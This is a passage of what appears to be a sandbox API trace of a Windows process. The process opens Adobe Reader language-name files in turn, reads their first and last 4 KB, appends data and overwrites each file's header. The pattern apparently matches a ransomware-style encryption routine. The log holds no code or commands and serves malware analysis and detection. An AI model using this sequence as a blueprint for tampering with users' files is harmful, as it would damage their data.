lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.697] CloseHandle (hObject=0x1c4) returned 1 [0042.697] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_om.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0042.698] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.698] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x6c96 [0042.698] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.698] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.698] ReleaseMutex (hMutex=0x128) returned 1 [0042.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_OM.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0042.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_OM.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_OM.txt", lpUsedDefaultChar=0x0) returned 30 [0042.699] ReadFile (in: hFile=0x1c4, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.700] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5c96 [0042.700] ReadFile (in: hFile=0x1c4, lpBuffer=0x2766028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.701] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5c96 [0042.701] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.701] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0042.701] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.701] CloseHandle (hObject=0x1c4) returned 1 [0042.702] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0042.705] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.705] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x6cdc [0042.705] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.705] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.705] ReleaseMutex (hMutex=0x128) returned 1 [0042.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca_ES.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0042.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca_ES.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ca_ES.txt", lpUsedDefaultChar=0x0) returned 30 [0042.705] ReadFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.707] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5cdc [0042.707] ReadFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.708] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5cdc [0042.708] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.709] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0042.709] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.709] CloseHandle (hObject=0x1c4) returned 1 [0042.709] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0042.712] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.713] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x6e92 [0042.713] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.713] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.713] ReleaseMutex (hMutex=0x128) returned 1 [0042.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el_GR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0042.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el_GR.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.el_GR.txt", lpUsedDefaultChar=0x0) returned 30 [0042.713] ReadFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.714] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5e92 [0042.715] ReadFile (in: hFile=0x1c4, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.718] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5e92 [0042.718] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.719] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0042.719] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.719] CloseHandle (hObject=0x1c4) returned 1 [0042.719] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cl.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0042.720] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.721] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x6ec8 [0042.721] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.721] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.721] ReleaseMutex (hMutex=0x128) returned 1 [0042.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CL.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0042.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CL.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb7c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_CL.txt", lpUsedDefaultChar=0x0) returned 30 [0042.721] ReadFile (in: hFile=0x1c4, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.724] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5ec8 [0042.724] ReadFile (in: hFile=0x1c4, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.725] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5ec8 [0042.725] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.726] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0042.726] WriteFile (in: hFile=0x1c4, lpBuffer=0x2736c38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.726] CloseHandle (hObject=0x1c4) returned 1 [0042.727] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_NI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ni.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0042.729] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.729] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x6ecc [0042.729] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.729] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.729] ReleaseMutex (hMutex=0x128) returned 1 [0042.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_NI.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0042.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_NI.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_NI.txt", lpUsedDefaultChar=0x0) returned 30 [0042.729] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.731] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5ecc [0042.731] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.732] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5ecc [0042.732] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.732] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0042.732] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.732] CloseHandle (hObject=0x1d4) returned 1 [0042.732] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0042.733] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.733] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x6b5e [0042.733] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.733] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.733] ReleaseMutex (hMutex=0x128) returned 1 [0042.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.et.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0042.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.et.txt", cchWideChar=27, lpMultiByteStr=0x1e7fd2c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.et.txt", lpUsedDefaultChar=0x0) returned 27 [0042.733] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.735] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5b5e [0042.735] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.735] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5b5e [0042.736] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.736] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0042.736] WriteFile (in: hFile=0x1d4, lpBuffer=0x2737c68*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.736] CloseHandle (hObject=0x1d4) returned 1 [0042.736] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0042.737] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.737] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x6e28 [0042.737] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.737] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.737] ReleaseMutex (hMutex=0x128) returned 1 [0042.737] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hr.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0042.737] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hr.txt", cchWideChar=27, lpMultiByteStr=0x1e7fd2c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.hr.txt", lpUsedDefaultChar=0x0) returned 27 [0042.737] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.738] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5e28 [0042.738] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.739] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5e28 [0042.739] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.740] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0042.740] WriteFile (in: hFile=0x1d4, lpBuffer=0x2737c68*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.740] CloseHandle (hObject=0x1d4) returned 1 [0042.740] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp_traditional.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0042.740] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.741] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x6594 [0042.741] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.741] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.741] ReleaseMutex (hMutex=0x128) returned 1 [0042.741] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0042.741] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", cchWideChar=42, lpMultiByteStr=0x1e9c82c, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 